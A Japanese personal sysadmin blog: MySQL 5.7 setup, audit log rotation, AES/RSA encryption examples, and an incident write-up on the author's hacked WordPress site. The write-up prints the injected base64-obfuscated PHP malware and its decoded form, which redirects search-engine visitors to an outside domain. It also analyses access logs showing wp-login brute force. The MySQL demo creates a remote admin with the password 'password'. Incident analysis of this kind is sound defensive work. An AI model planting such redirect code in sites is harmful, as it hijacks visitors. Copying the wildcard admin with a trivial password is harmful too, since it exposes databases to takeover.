root      5024  1883  0 08:56 pts/0    00:00:00 grep --color=auto mysql
[root@misc01 mysql]# kill 4992
[root@misc01 mysql]# 150328 08:56:32 mysqld_safe mysqld from pid file /usr/local/mysql/data/misc01.pid ended

[1]+  終了                  bin/mysqld_safe --user=mysql
[root@misc01 mysql]# ps -ef | grep mysql
root      5030  1883  0 08:56 pts/0    00:00:00 grep --color=auto mysql
[root@misc01 mysql]# 

起動ファイルのBASE, DATAディレクトリーを記入してファイルをコピー

[root@misc01 support-files]# pwd
/usr/local/mysql/support-files
[root@misc01 support-files]# vi mysql.server 
[root@misc01 support-files]# cp -p mysql.server /etc/init.d/
[root@misc01 support-files]# /etc/init.d/mysql.server start
Starting MySQL. SUCCESS! 
[root@misc01 support-files]#

MySQLにroot以外の追加の管理者アカウントを追加してみます。
GRANTでアカウントを作成するのはやめて、CREATE USERで作成した方が良いですね。

[root@misc01 support-files]# /usr/local/mysql/bin/mysql -u root -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 2
Server version: 5.7.6-m16 MySQL Community Server (GPL)

Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> GRANT ALL PRIVILEGES  ON *.* TO admin@'%' IDENTIFIED BY 'password' WITH GRANT OPTION;
Query OK, 0 rows affected, 1 warning (0.00 sec)
mysql> show warnings;
+---------+------+------------------------------------------------------------------------------------------------------------------------------------+
| Level   | Code | Message                                                                                                                            |
+---------+------+------------------------------------------------------------------------------------------------------------------------------------+
| Warning | 1287 | Using GRANT for creating new user is deprecated and will be removed in future release. Create new user with CREATE USER statement. |
+---------+------+------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

5.7からは、mysql.userテーブルからpasswordという列が無くなってますね。

mysql> select user,host,password from mysql.user;
ERROR 1054 (42S22): Unknown column 'password' in 'field list'
mysql> select user,host,authentication_string from mysql.user;
+-------+-----------+-------------------------------------------+
| user  | host      | authentication_string                     |
+-------+-----------+-------------------------------------------+
| root  | localhost | *A41ECFBE1191DDE4713F2B6F5A6CD5D0D0D5DC35 |
| admin | %         | *A41ECFBE1191DDE4713F2B6F5A6CD5D0D0D5DC35 |
+-------+-----------+-------------------------------------------+
2 rows in set (0.00 sec)

mysql> 

その他、アカウントのパスワード期限など、コンプライアンス対応に使えそうなフィールドが増えています。
update

※ CentOSなどでは,MariaDBさんの/etc/my.cnfがあるので初期設定時にエラーになったりするので初期設定時に削除しています。
  ここら辺、名前が被らない方がユーザー的には有難いです。


MySQL 監査ログのローテション
MySQL Enterprise Auditで取得した監査ログをMySQL Utilitiesを利用して、
定期的にローテーション出来るかどうか確認してみました。

ログをローテーションした結果
audit

Audit Logのローテーションとしては、以下の2パターンがあります。

1) ログサイズによる自動ローテーション
sysvar_audit_log_rotate_on_size

If the audit_log_rotate_on_size value is greater than 0,
the audit log plugin closes and reopens its log file
if a write to the file causes its size to exceed this value.

2) mysqlutilitiesを利用したローテーション
MySQL Utilityを利用したローテーション

mysqluc> help utilities
Utility           Description
----------------  ---------------------------------------------------------
mysqlauditadmin   audit log maintenance utility
mysqlauditgrep    audit log search utility
mysqldbcompare    compare databases for consistency
mysqldbcopy       copy databases from one server to another
mysqldbexport     export metadata and data from databases
mysqldbimport     import metadata and data from files
mysqldiff         compare object definitions among objects where the
                  difference is how db1.obj1 differs from db2.obj2
mysqldiskusage    show disk usage for databases
mysqlfailover     automatic replication health monitoring and failover
mysqlfrm          show CREATE TABLE from .frm files
mysqlindexcheck   check for duplicate or redundant indexes
mysqlmetagrep     search metadata
mysqlprocgrep     search process information
mysqlreplicate    establish replication with a master
mysqlrpladmin     administration utility for MySQL replication
mysqlrplcheck     check replication
mysqlrplms        establish multi-source replication
mysqlrplshow      show slaves attached to a master
mysqlrplsync      replication synchronization checker utility
mysqlserverclone  start another instance of a running server
mysqlserverinfo   show server information
mysqluserclone    clone a MySQL user account to one or more new users

mysqluc>
mysqluc> help mysqlauditadmin
Usage: mysqlauditadmin.exe --server=user:pass@host:port --show-options

mysqlauditadmin - audit log maintenance utility

Options:
Option                     Description
-------------------------  ------------------------------------------------
--version                  show program's version number and exit
--help                     display this help message and exit
--license                  display program's license and exit
--server=SERVER            connection information for the server in the
                           form:
                           <user>[:<password>]@<host>[:<port>][:<socket>]
                           or <login-path>[:<port>][:<socket>] or <config-
                           path>[<&#91;group&#93;>].
--audit-log-name=LOG_NAME  full path and file name for the audit log file.
                           Used for stats and copy options.
--show-options             display the audit log system variables.
--remote-login=RLOGIN      user name and host to be used for remote login
                           for copying log files. Format:
                           <user>:<host_or_ip> Password will be prompted.
--file-stats               display the audit log file statistics.
--copy-to=COPY_LOCATION    the location to copy the audit log file
                           specified. The path must be locally accessible
                           for the current user.
--value=VALUE              value used to set variables based on the command
                           specified. See --help for list per command.
--ssl-ca=SSL_CA            The path to a file that contains a list of
                           trusted SSL CAs.
--ssl-cert=SSL_CERT        The name of the SSL certificate file to use for
                           establishing a secure connection.
--ssl-key=SSL_KEY          The name of the SSL key file to use for
                           establishing a secure connection.
-v, --verbose              control how much information is displayed. e.g.,
                           -v = verbose, -vv = more verbose, -vvv = debug
                           Available Commands: copy - copy the audit log to
                           a locally accessible path policy - set the audit
                           log policy Values = ALL, NONE, LOGINS, QUERIES,
                           DEFAULT rotate - perform audit log rotation
                           rotate_on_size - set the rotate log size limit
                           for auto rotation Values = 0, 4294967295

mysqluc> mysqlauditadmin --show-options --server=admin:password@192.168.56.113
WARNING: Using a password on the command line interface can be insecure.
#
# Audit Log Variables and Options
#
+------------------------------+---------------+
| Variable_name                | Value         |
+------------------------------+---------------+
| audit_log_buffer_size        | 1048576       |
| audit_log_connection_policy  | ALL           |
| audit_log_current_session    | ON            |
| audit_log_exclude_accounts   |               |
| audit_log_file               | audit.log     |
| audit_log_flush              | OFF           |
| audit_log_format             | OLD           |
| audit_log_include_accounts   |               |
| audit_log_policy             | ALL           |
| audit_log_rotate_on_size     | 0             |
| audit_log_statement_policy   | ALL           |
| audit_log_strategy           | ASYNCHRONOUS  |
+------------------------------+---------------+


mysqluc> mysqlauditadmin --show-options --server=admin:password@192.168.56.113 rotate
WARNING: Using a password on the command line interface can be insecure.
#
# Showing options before command.
#
# Audit Log Variables and Options
#
+------------------------------+---------------+
| Variable_name                | Value         |
+------------------------------+---------------+
| audit_log_buffer_size        | 1048576       |
| audit_log_connection_policy  | ALL           |
| audit_log_current_session    | ON            |
| audit_log_exclude_accounts   |               |
| audit_log_file               | audit.log     |
| audit_log_flush              | OFF           |
| audit_log_format             | OLD           |
| audit_log_include_accounts   |               |
| audit_log_policy             | ALL           |
| audit_log_rotate_on_size     | 0             |
| audit_log_statement_policy   | ALL           |
| audit_log_strategy           | ASYNCHRONOUS  |
+------------------------------+---------------+

#
# Executing ROTATE command.
#

#
# Showing options after command.
#
# Audit Log Variables and Options
#
+------------------------------+---------------+
| Variable_name                | Value         |
+------------------------------+---------------+
| audit_log_buffer_size        | 1048576       |
| audit_log_connection_policy  | ALL           |
| audit_log_current_session    | ON            |
| audit_log_exclude_accounts   |               |
| audit_log_file               | audit.log     |
| audit_log_flush              | OFF           |
| audit_log_format             | OLD           |
| audit_log_include_accounts   |               |
| audit_log_policy             | ALL           |
| audit_log_rotate_on_size     | 0             |
| audit_log_statement_policy   | ALL           |
| audit_log_strategy           | ASYNCHRONOUS  |
+------------------------------+---------------+


mysqluc>

ログが以下のようにローテーションされて、
古いファイルがaudit.log.xxxxx.xmlというファイル名になっています。


[root@misc data]# ls -l audit.*
-rw-rw----. 1 mysql mysql  4600  3月 13 22:13 audit.log
-rw-rw----. 1 mysql mysql 23048  3月 13 22:13 audit.log.14262524122629864.xml
[root@misc data]#

追加で、負荷をかけた状態でローテーションしてみました。こちらがWorkbenchで確認したログです。
workbench

Workbenchでログも確認してみました。mysqlslapからアクセスがある事が確認出来ます。
log

mysqlauditadminについては此方を参照下さい
http://dev.mysql.com/doc/mysql-utilities/1.3/en/mysqlauditadmin.html

https://docs.oracle.com/cd/E17952_01/mysql-utilities-1.3-en/mysqlauditadmin.html

補足;此方は、コマンドでログの中身をフィルターするUTILITYになります。
http://dev.mysql.com/doc/mysql-utilities/1.3/en/mysqlauditgrep.html

Enterprise Auditはこちらから30日間トライアルがダウンロード可能です。
https://edelivery.oracle.com/

MySQL Utiliries
http://thinkit.co.jp /story/2014/02/10/4814 

SYSLOG: This function is also nice to have. (Percona)
http://www.percona.com/doc/percona-server/5.6/management/audit_log_plugin.html


MySQL暗号化 Community EditionとEnterprise

“AES 128 MySQL 4.0.2~”

SET @key_str = SHA2('password',512);
SELECT HEX(AES_ENCRYPT("AES暗号化-個人情報01",@key_str)) into @AES_ENC;
SELECT @AES_ENC;
SELECT AES_DECRYPT(UNHEX(@AES_ENC),@key_str);

“AES 256 MySQL 5.6.17~ “

SELECT @@session.block_encryption_mode;
SET block_encryption_mode = 'aes-256-cbc';
SELECT @@session.block_encryption_mode;
SET @key_str = SHA2('password',512);
SELECT @key_str;
SET @init_vector = RANDOM_BYTES(16);
SET @crypt_str = HEX(AES_ENCRYPT("AES暗号化-個人情報01",@key_str,@init_vector));
SELECT @crypt_str;
SELECT AES_DECRYPT(UNHEX(@crypt_str),@key_str,@init_vector);

“RSAを同じセッションで確認。MySQL 5.6.21~”
こちらはEnterpriseのみで利用可能なPlugin (鍵をPublicとPrivateに分ける事が可能)

SELECT CREATE_ASYMMETRIC_PRIV_KEY('RSA', 1024) INTO @priv_key;
SELECT CREATE_ASYMMETRIC_PUB_KEY('RSA', @priv_key) INTO @pub_key;
SELECT ASYMMETRIC_ENCRYPT('RSA','プライベート鍵にて暗号化しています', @priv_key) INTO @enc_priv;
SELECT ASYMMETRIC_ENCRYPT('RSA','公開鍵にて暗号化しています', @pub_key) INTO @enc_pub;
SELECT ASYMMETRIC_DECRYPT('RSA', @enc_pub, @priv_key);
SELECT ASYMMETRIC_DECRYPT('RSA', @enc_priv, @pub_key);

―以下メモ―
■暗号化された文字列の長さの確認
The length of crypt_str can be calculated using this formula:
16 * (trunc(string_length / 16) + 1)

root@localhost > SELECT 16 * (TRUNCATE(100/16,1) + 1);
+-------------------------------+
| 16 * (TRUNCATE(100/16,1) + 1) |
+-------------------------------+
|                         115.2 |
+-------------------------------+
1 row in set (0.00 sec)

root@localhost > SELECT 16 * (TRUNCATE(100/16,0) + 1);
+-------------------------------+
| 16 * (TRUNCATE(100/16,0) + 1) |
+-------------------------------+
|                           112 |
+-------------------------------+
1 row in set (0.00 sec)

root@localhost > 


root@localhost > select LENGTH("AES暗号化-個人情報01");
+---------------------------------------+
| LENGTH("AES暗号化-個人情報01")        |
+---------------------------------------+
|                                    27 |
+---------------------------------------+
1 row in set (0.00 sec)

root@localhost > SELECT 16 * (TRUNCATE(27/16,0) + 1);
+------------------------------+
| 16 * (TRUNCATE(27/16,0) + 1) |
+------------------------------+
|                           32 |
+------------------------------+
1 row in set (0.00 sec)

root@localhost > SELECT LENGTH(@crypt_str);
+--------------------+
| LENGTH(@crypt_str) |
+--------------------+
|                 64 |
+--------------------+
1 row in set (0.00 sec)

root@localhost > 

■HEXでサイズが2倍になっているので、UNHEXしてあげるとサイズが想定通りであると確認出来る。

root@localhost > SELECT LENGTH(UNHEX(@crypt_str));
+---------------------------+
| LENGTH(UNHEX(@crypt_str)) |
+---------------------------+
|                        32 |
+---------------------------+
1 row in set (0.00 sec)

root@localhost > 

MySQL5.6.21の商用版でよりセキュアな暗号化が提供されたようなので後程確認するとして、
まずは現状のAESの暗号化を復習してみる。

以下抜粋
—————————————————-
http://dev.mysql.com/doc/refman/5.6/en/enterprise-encryption.html

As of MySQL 5.6.21, MySQL Enterprise Edition includes a set of encryption functions
based on the OpenSSL library that expose OpenSSL capabilities at the SQL level.
These functions enable Enterprise applications to perform the following operations:

Implement added data protection using public-key asymmetric cryptography
Create public and private keys and digital signatures
Perform asymmetric encryption and decryption
Use cryptographic hashing for digital signing and data verification and validation
Enterprise Encryption supports the RSA, DSA, and DH cryptographic algorithms.
Enterprise Encryption is supplied as a user-defined function (UDF) library, from which individual functions can be installed individually.

■これまでのAESを利用しての暗号化の復習
name列は暗号化された時の桁数を計算するのが面倒だったので大目で1024で設定しています。

CREATE TABLE `Personal_Info` (
  `id` int(20) NOT NULL AUTO_INCREMENT,
  `name` varchar(1024) NOT NULL DEFAULT '',
   PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8;

root@localhost > CREATE TABLE `Personal_Info` (
    ->   `id` int(20) NOT NULL AUTO_INCREMENT,
    ->   `name` varchar(1024) NOT NULL DEFAULT '',
    ->    PRIMARY KEY (`id`)
    -> ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8;
Query OK, 0 rows affected (0.12 sec)

root@localhost > INSERT INTO Personal_Info(name) values (HEX(AES_ENCRYPT("AES暗号化-個人情報01", 'password')));
Query OK, 1 row affected (0.04 sec)

root@localhost > select * from Personal_Info;
+----+------------------------------------------------------------------+
| id | name                                                             |
+----+------------------------------------------------------------------+
|  1 | D8F991170C3468696E4D963AE4A8E2A1D6404D7066F30A5D0419C0EC80D0602B |
+----+------------------------------------------------------------------+
1 row in set (0.00 sec)

root@localhost > SELECT CONVERT(AES_DECRYPT(UNHEX(name),"password") USING utf8) name FROM Personal_Info;
+-----------------------------+
| name                        |
+-----------------------------+
| AES暗号化-個人情報01        |
+-----------------------------+
1 row in set (0.00 sec)

root@localhost > 


暫く忙しく、アップグレードもパスワード変更もしてなかったら、
いつのまにか、ヘッダーに変な文字列が埋め込まれてしまい。
訳の分からないサイトにリダイレクトされてました。

気付いたのは、いつもどおり自分のメモ代わりのこのサイトで調べ物をしようとした時に、
スマホだと問題無くアクセス出来るが、PCからGoogleで検索してサイトにアクセスすると、
変なサイトに302 Redirectされてしまいました。但し、PCから直接サイトを指定して表示すると、
問題無くアクセスする事が出来ました。

実際の動きを確認する為に、Wiresharkで状況を確認してみました。

wireshark

どうやらRedirectされている事は間違いないようでした。

ソースコードを調べてみると、wordpressにあるlocationという変数を利用して特定の条件でアクセスするとリダイレクト
されるようにしてあったようです。最初は、暗号化されていたので分かりませんでしたが、
decodeしてみると以下のようになっていました。

暗号化

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9id2FrcS5teXouaW5mby8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));

複合化
refererやブラウザーで条件を指定して特定のサイトにリダイレクトするコードになっていました。

error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (!stristr($uag,"MSIE 7.0") and !stristr($uag,"MSIE 6.0")){
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"live.com") or stristr($referer,"webalta") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com/l") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://bwakq.myz.info/");
exit();
}
}
}
}
}

DBの中身をダンプして調べましたが、特に怪しいコードはありませんでした。

とりあえず、ファイルの中身をgrepして特定の文字列を見つけてかなりのphpにコードが書かれている事を確認したので、
全てコードを入れ替えて、特定のソースに関しては、Perlでワンライナーして入れ替えました。
ワードプレスも、プラグインも最新に入れ替えてコードが無くなった事を確認したのでパスワードを変更して、
パーミッションを見直してとりあえず。OK。

仕事では無いのと単純なリダイレクトだったのでとりあえず問題ないけど、
やはり個人のサイトもきちんとメンテナンスして適切な状態にしておかないと
いけないなと感じる出来事でした。少し軽く考えてたと感じました。

少し確認しても、1つのIPから複数ブラウザーでアクセスしてきている事が確認出来ます。
IPを絞ってログを追いかければ、今後の対策が少し見えてきそうです。

$ awk '{print $1}' variable.jp_*.log | sort | uniq -c | sort -nr | head
   3524 124.44.xxx.xxx
   2412 209.85.xxx.xxx
   2157 199.15.xxx.xxx
   1997 198.200.xxx.xxx
   1813 198.200.xxx.xxx
   1740 198.2.xxx.xxx
   1668 142.4.xxx.xxx
   1578 198.200.xxx.xxx
   1458 142.4.xxx.xxx
   1448 210.172.xxx.xxx

anywhere@any-place /c/tmp
$

$ cat variable.jp_20130528.log | egrep -i "198.200.xxx.xxx" | awk '{print $12,$13,14,$15,$16,$17,$18,$19}' | sort | uniq -c | sort -nr | head
     12 "Opera/9.80 (Windows 14 6.1; WOW64; MRA 6.0 (build
      9 "Mozilla/5.0 (Windows 14 6.1) AppleWebKit/535.19 (KHTML, like Gecko)
      9 "Mozilla/5.0 (Windows 14 6.0) AppleWebKit/537.11 (KHTML, like Gecko)
      6 "Opera/9.80 (Windows 14 6.1; WOW64; Edition Yx) Presto/2.12.388
      6 "Mozilla/5.0 (Windows; 14 Windows NT 6.1; en-US) AppleWebKit/534.10
      6 "Mozilla/5.0 (Windows 14 6.1; WOW64) AppleWebKit/535.19 (KHTML, like
      6 "Mozilla/5.0 (Windows 14 5.1; rv:8.0) Gecko/20100101 Firefox/8.0"
      3 "Opera/9.80 (Windows 14 6.2; WOW64; MRA 8.0 (build
      3 "Opera/9.80 (Windows 14 6.2; U; en) Presto/2.10.289 Version/12.02"
      3 "Opera/9.80 (Windows 14 6.1; U; ru) Presto/2.10.289 Version/12.02"

anywhere@any-place /c/tmp
$


anywhere@any-place /c/tmp
$ awk '{print $7}' variable.jp_*.log  | grep 'wp-login' | sort | uniq -c | sort -nr | head
  14114 /wp-login.php
     13 /2009/wp-login.php?action=register
     12 /wp-login.php?redirect_to=http%3A%2F%2Fvariable.jp%2Fwp-admin%2F&reauth=1
     11 /wp-login.php?action=register
      8 /wp-login.php?action=lostpassword
      6 /wp-login.php?registration=disabled
      2 /wp-login.php?loggedout=true
      2 /wp-login.php/?action=register
      1 /wp-login.php?redirect_to=http://variable.jp/wp-admin/&reauth=1
      1 /wp-login.php?action=logout&_wpnonce=e1403e3394

anywhere@any-place /c/tmp
$

とりあえず、ログをダンプしたので少し確認して対策して見ます。